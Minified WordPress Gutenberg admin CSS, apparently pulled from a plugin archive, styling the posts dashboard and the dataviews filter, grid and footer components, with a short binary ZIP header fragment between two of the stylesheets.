--wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:216.8782608696, 116.1847826087, 37.6217391304; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195.147826087, 104.5434782609, 33.852173913; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } } #adminmenumain,#wpadminbar{ display:none; } #wpcontent{ margin-right:0; } body.js #wpbody{ padding-top:0; } body{ background:#fff; } body #wpcontent{ padding-right:0; } body #wpbody-content{ padding-bottom:0; } body #wpbody-content>div:not(#gutenberg-posts-dashboard):not(#screen-meta),body #wpfooter{ display:none; } body .a11y-speak-region{ right:-1px; top:-1px; } body ul#adminmenu a.wp-has-current-submenu:after,body ul#adminmenu>li.current>a.current:after{ border-left-color:#fff; } body .media-frame select.attachment-filters:last-of-type{ max-width:100%; width:auto; } #gutenberg-posts-dashboard{ box-sizing:border-box; } #gutenberg-posts-dashboard *,#gutenberg-posts-dashboard :after,#gutenberg-posts-dashboard :before{ box-sizing:inherit; } #gutenberg-posts-dashboard{ height:100vh; } @media (min-width:600px){ #gutenberg-posts-dashboard{ bottom:0; left:0; min-height:100vh; position:fixed; right:0; top:0; } } .no-js #gutenberg-posts-dashboard{ min-height:0; position:static; } #gutenberg-posts-dashboard .components-editor-notices__snackbar{ bottom:16px; left:0; padding-left:16px; padding-right:16px; position:fixed; }PK!½Ø`bÎìÎì css/dist/edit-site/style-rtl.cssnuȯÝí@charset "UTF-8"; .admin-ui-page{ background-color:#fff; color:#2f2f2f; container:admin-ui-page/inline-size; display:flex; flex-flow:column; height:100%; position:relative; z-index:1; } @media not (prefers-reduced-motion){ .admin-ui-page{ transition:width .2s ease-out; } } .admin-ui-page__header{ background:#fff; border-bottom:1px solid #f0f0f0; padding:16px 48px; position:sticky; top:0; } @container (max-width: 430px){ .admin-ui-page__header{ padding:16px 24px; } } .admin-ui-page__header-subtitle{ color:#757575; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; margin:0; padding-block-end:8px; } .admin-ui-page__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; } .admin-ui-page__content.has-padding{ padding:16px 20px; } @container (max-width: 430px){ .admin-ui-page__content.has-padding{ padding:16px 24px; } } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{ padding:0 8px; width:auto; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{ display:none; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; } .dataviews-picker-wrapper,.dataviews-wrapper{ box-sizing:border-box; container:dataviews-wrapper/inline-size; display:flex; flex-direction:column; font-size:13px; height:100%; line-height:1.4; overflow:auto; scroll-padding-bottom:64px; } .dataviews-filters__container,.dataviews__view-actions{ box-sizing:border-box; flex-shrink:0; padding:16px 48px; position:sticky; right:0; } @media not (prefers-reduced-motion){ .dataviews-filters__container,.dataviews__view-actions{ transition:padding .1s ease-out; } } .dataviews-loading,.dataviews-no-results{ align-items:center; display:flex; flex-grow:1; justify-content:center; padding:0 48px; } @media not (prefers-reduced-motion){ .dataviews-loading,.dataviews-no-results{ transition:padding .1s ease-out; } } .dataviews-loading-more{ text-align:center; } @container (max-width: 430px){ .dataviews-filters__container,.dataviews__view-actions{ padding:12px 24px; } .dataviews-loading,.dataviews-no-results{ padding-left:24px; padding-right:24px; } } .dataviews-title-field{ font-size:13px; font-weight:500; width:100%; } .dataviews-title-field,.dataviews-title-field a{ color:#2f2f2f; text-overflow:ellipsis; white-space:nowrap; } .dataviews-title-field a{ display:block; flex-grow:0; overflow:hidden; text-decoration:none; } .dataviews-title-field a:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field a:focus{ border-radius:2px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba); color:var(--wp-admin-theme-color--rgb); } .dataviews-title-field button.components-button.is-link{ color:#1e1e1e; display:block; font-weight:inherit; overflow:hidden; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; width:100%; } .dataviews-title-field button.components-button.is-link:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field--clickable{ color:#2f2f2f; cursor:pointer; } .dataviews-title-field--clickable:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field--clickable:focus{ border-radius:2px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba); color:var(--wp-admin-theme-color--rgb); } .components-card__body:has(>.dataviews-picker-wrapper),.components-card__body:has(>.dataviews-wrapper){ overflow:hidden; padding:8px 0 0; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews__view-actions,.components-card__body:has(>.dataviews-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-wrapper) .dataviews__view-actions{ padding-inline:24px; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:first-child{ padding-inline-start:24px; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:last-child{ padding-inline-end:24px; } .dataviews-bulk-actions-footer__item-count{ color:#1e1e1e; font-size:11px; font-weight:500; text-transform:uppercase; } .dataviews-bulk-actions-footer__container{ margin-left:auto; min-height:32px; } .dataviews-filters__button{ position:relative; } .dataviews-filters__container{ padding-top:0; } .dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{ opacity:0; } .dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{ opacity:1; } .dataviews-filters__summary-popover{ font-size:13px; line-height:1.4; } .dataviews-filters__summary-popover .components-popover__content{ border-radius:4px; max-width:250px; min-width:230px; width:100%; } .dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{ padding:0; } .dataviews-filters__summary-operators-container{ padding:8px 16px; } .dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-no-elements),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__user-input-widget){ border-bottom:1px solid #e0e0e0; } .dataviews-filters__summary-operators-container:empty{ display:none; } .dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{ color:#757575; flex-shrink:0; max-width:calc(100% - 55px); overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-select{ overflow:hidden; white-space:nowrap; width:100%; } .dataviews-filters__summary-chip-container{ position:relative; white-space:pre-wrap; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{ align-items:center; background:#f0f0f0; border:1px solid #0000; border-radius:16px; box-sizing:border-box; color:#2f2f2f; cursor:pointer; display:flex; min-height:32px; padding:4px 12px; position:relative; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable{ cursor:default; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{ padding-inline-end:28px; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover:not(.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable),.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{ background:#e0e0e0; color:#1e1e1e; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{ background:rgba(var(--wp-admin-theme-color--rgb), .04); color:var(--wp-admin-theme-color); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{ background:rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:none; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{ font-weight:500; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{ align-items:center; background:#0000; border:0; border-radius:50%; cursor:pointer; display:flex; height:24px; justify-content:center; left:4px; padding:0; position:absolute; top:50%; transform:translateY(-50%); width:24px; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{ fill:#757575; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{ background:#e0e0e0; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{ fill:#1e1e1e; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{ fill:var(--wp-admin-theme-color); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:none; } .dataviews-filters__search-widget-filter-combobox-list{ border-top:1px solid #e0e0e0; max-height:184px; overflow:auto; padding:4px; } .dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{ font-weight:600; } .dataviews-filters__search-widget-listbox{ overflow:auto; padding:4px; } .dataviews-filters__search-widget-listitem{ align-items:center; border-radius:2px; box-sizing:border-box; cursor:default; display:flex; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; gap:8px; line-height:20px; min-height:32px; padding:4px 12px; } .dataviews-filters__search-widget-listitem:last-child{ margin-block-end:0; } .dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{ background-color:var(--wp-admin-theme-color); color:#fff; } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{ color:#fff; } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection{ background:#fff; border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection.is-selected{ background:var(--wp-admin-theme-color-darker-20, #183ad6); border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection{ border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection.is-selected{ background:var(--wp-admin-theme-color-darker-20, #183ad6); border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{ color:#757575; display:block; font-size:12px; line-height:16px; overflow:hidden; text-overflow:ellipsis; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ border:1px solid #1e1e1e; border-radius:50%; height:24px; margin-left:12px; max-width:24px; min-width:24px; position:relative; transition:none; width:24px; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ height:16px; max-width:16px; min-width:16px; width:16px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{ background-color:#fff; border:4px solid #fff; box-sizing:inherit; height:12px; margin:0; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); width:12px; } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{ height:8px; width:8px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:focus{ box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked{ background:var(--wp-admin-theme-color); border:none; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ margin:0; padding:0; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected{ background:var(--wp-admin-theme-color, #3858e9); border-color:var(--wp-admin-theme-color, #3858e9); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{ background-color:#fff; border:4px solid #fff; border-radius:50%; box-sizing:inherit; content:""; height:12px; margin:0; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); width:12px; } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{ height:8px; width:8px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ --checkbox-size:24px; border:1px solid #949494; border-radius:2px; box-shadow:0 0 0 #0000; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:16px; line-height:normal; margin-left:12px; padding:6px 8px; transition:none; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ font-size:13px; line-height:normal; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 .5px var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-webkit-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-moz-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:-ms-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{ box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked{ background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked::-ms-check{ opacity:0; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ color:#fff; margin:-3px -5px; } @media (min-width:782px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ margin:-4px -5px 0 0; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]{ background:var(--wp-admin-theme-color); border-color:var(--wp-admin-theme-color); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ content:"\f460"; display:inline-block; float:right; font:normal 30px/1 dashicons; vertical-align:middle; width:16px; speak:none; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; } @media (min-width:782px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{ float:none; font-size:21px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:disabled,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-disabled=true]{ background:#f0f0f0; border-color:#ddd; cursor:default; opacity:1; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ background:#fff; color:#1e1e1e; height:var(--checkbox-size); margin:0; padding:0; position:relative; width:var(--checkbox-size); } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ --checkbox-size:16px; } } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{ transition:border-color .1s ease-in-out; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected{ background:var(--wp-admin-theme-color, #3858e9); border-color:var(--wp-admin-theme-color, #3858e9); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{ --checkmark-size:var(--checkbox-size); fill:#fff; height:var(--checkmark-size); position:absolute; right:50%; top:50%; transform:translate(50%, -50%); width:var(--checkmark-size); } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{ --checkmark-size:calc(var(--checkbox-size) + 4px); } } .dataviews-filters__search-widget-filter-combobox__wrapper{ padding:8px; position:relative; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ border:1px solid #949494; border-radius:2px; box-shadow:0 0 0 #0000; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; line-height:normal; padding:6px 8px; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ font-size:13px; line-height:normal; } } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 .5px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{ color:#1e1e1e9e; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ display:block; font-size:16px; height:32px; margin-left:0; margin-right:0; padding:0 32px 0 8px; width:100%; } @media (min-width:600px){ .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{ font-size:13px; } } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{ background:#fff; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{ color:#757575; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{ -webkit-appearance:none; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{ align-items:center; bottom:0; display:flex; inset-inline-start:12px; justify-content:center; position:absolute; top:0; width:24px; } .dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon:dir(ltr){ transform:scaleX(-1); } .dataviews-filters__container-visibility-toggle{ flex-shrink:0; position:relative; } .dataviews-filters-toggle__count{ background:var(--wp-admin-theme-color, #3858e9); border-radius:8px; box-sizing:border-box; color:#fff; font-size:11px; height:16px; left:0; line-height:16px; min-width:16px; outline:var(--wp-admin-border-width-focus) solid #fff; padding:0 4px; position:absolute; text-align:center; top:0; transform:translate(-50%, -50%); } .dataviews-search{ width:fit-content; } .dataviews-filters__user-input-widget{ padding:16px; } .dataviews-filters__user-input-widget .components-input-control__prefix{ padding-right:8px; } .dataviews-filters__search-widget-no-elements{ align-items:center; display:flex; justify-content:center; padding:16px; } .dataviews-footer{ background-color:#fff; border-top:1px solid #f0f0f0; bottom:0; flex-shrink:0; padding:12px 48px; position:sticky; right:0; } @media not (prefers-reduced-motion){ .dataviews-footer{ transition:padding .1s ease-out; } } .dataviews-footer{ z-index:2; } @container (max-width: 430px){ .dataviews-footer{ padding:12px 24px; } } @container (max-width: 560px){ .dataviews-footer{ flex-direction:column !important; } .dataviews-footer .dataviews-bulk-actions-footer__container{ width:100%; } .dataviews-footer .dataviews-bulk-actions-footer__item-count{ flex-grow:1; } .dataviews-footer .dataviews-pagination{ justify-content:space-between; width:100%; } } .dataviews-pagination__page-select{ font-size:11px; font-weight:500; text-transform:uppercase; } @media (min-width:600px){ .dataviews-pagination__page-select .components-select-control__input{ font-size:11px !important; font-weight:500; } } .dataviews-action-modal{ z-index:1000001; } .dataviews-picker-footer__bulk-selection{ align-self:flex-start; height:32px; } .dataviews-picker-footer__actions{ align-self:flex-end; } .dataviews-selection-checkbox{ --checkbox-input-size:24px; } @media (min-width:600px){ .dataviews-selection-checkbox{ --checkbox-input-size:16px; } } .dataviews-selection-checkbox{ flex-shrink:0; line-height:0; } .dataviews-selection-checkbox .components-checkbox-control__input-container{ margin:0; } .dataviews-view-config{ container-type:inline-size; font-size:13px; line-height:1.4; width:320px; } .dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{ height:100%; overflow-y:scroll; } .dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{ width:auto; } .dataviews-view-config__sort-direction .components-toggle-group-control-option-base{ text-transform:uppercase; } .dataviews-settings-section__title.dataviews-settings-section__title{ font-size:15px; line-height:24px; } .dataviews-settings-section__sidebar{ grid-column:span 4; } .dataviews-settings-section__content,.dataviews-settings-section__content>*{ grid-column:span 8; } .dataviews-settings-section__content .is-divided-in-two{ display:contents; } .dataviews-settings-section__content .is-divided-in-two>*{ grid-column:span 4; } .dataviews-settings-section:has(.dataviews-settings-section__content:empty){ display:none; } @container (max-width: 500px){ .dataviews-settings-section.dataviews-settings-section{ grid-template-columns:repeat(2, 1fr); } .dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{ grid-column:span 2; } } .dataviews-field-control__field{ height:32px; } .dataviews-field-control__actions{ position:absolute; top:-9999em; } .dataviews-field-control__actions.dataviews-field-control__actions{ gap:4px; } .dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{ position:unset; top:unset; } .dataviews-field-control__icon{ display:flex; width:24px; } .dataviews-field-control__label-sub-label-container{ flex-grow:1; } .dataviews-field-control__label{ display:block; } .dataviews-field-control__sub-label{ color:#757575; font-size:11px; font-style:normal; margin-bottom:0; margin-top:8px; } .dataviews-view-grid-items{ container-type:inline-size; display:grid; gap:32px; grid-template-columns:repeat(auto-fill, minmax(230px, 1fr)); grid-template-rows:max-content; margin-bottom:auto; padding:0 48px 24px; } @container (max-width: 430px){ .dataviews-view-grid-items{ padding-left:24px; padding-right:24px; } } @media not (prefers-reduced-motion){ .dataviews-view-grid-items{ transition:padding .1s ease-out; } } .dataviews-view-grid .dataviews-view-grid__card{ height:100%; justify-content:flex-start; position:relative; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{ padding:8px 0 4px; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{ align-content:center; min-height:24px; overflow:hidden; text-align:start; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{ width:fit-content; } .dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{ color:#1e1e1e; } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{ background-color:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .dataviews-view-grid .dataviews-view-grid__media{ aspect-ratio:1/1; background-color:#fff; border-radius:4px; overflow:hidden; position:relative; width:100%; } .dataviews-view-grid .dataviews-view-grid__media img{ height:100%; object-fit:cover; width:100%; } .dataviews-view-grid .dataviews-view-grid__media:after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; pointer-events:none; position:absolute; right:0; top:0; width:100%; } .dataviews-view-grid .dataviews-view-grid__fields{ font-size:12px; line-height:16px; position:relative; } .dataviews-view-grid .dataviews-view-grid__fields:not(:empty){ padding:0 0 12px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){ line-height:20px; min-height:24px; padding-top:2px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{ align-items:center; min-height:24px; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{ color:#757575; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:35%; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:65%; } .dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){ display:none; } .dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){ padding-bottom:12px; } .dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{ display:none; } .dataviews-view-grid__card .dataviews-selection-checkbox{ opacity:0; position:absolute; right:8px; top:-9999em; z-index:1; } @media not (prefers-reduced-motion){ .dataviews-view-grid__card .dataviews-selection-checkbox{ transition:opacity .1s linear; } } @media (hover:none){ .dataviews-view-grid__card .dataviews-selection-checkbox{ opacity:1; top:8px; } } .dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{ opacity:1; top:8px; } .dataviews-view-grid__card .dataviews-view-grid__media-actions{ left:4px; opacity:0; position:absolute; top:4px; } .dataviews-view-grid__card .dataviews-view-grid__media-actions .dataviews-all-actions-button{ background-color:#fff; } @media not (prefers-reduced-motion){ .dataviews-view-grid__card .dataviews-view-grid__media-actions{ transition:opacity .1s linear; } } @media (hover:none){ .dataviews-view-grid__card .dataviews-view-grid__media-actions{ opacity:1; top:4px; } } .dataviews-view-grid__card .dataviews-view-grid__media-actions:has(.dataviews-all-actions-button[aria-expanded=true]),.dataviews-view-grid__card:focus-within .dataviews-view-grid__media-actions,.dataviews-view-grid__card:hover .dataviews-view-grid__media-actions{ opacity:1; } .dataviews-view-grid__media--clickable{ cursor:pointer; } 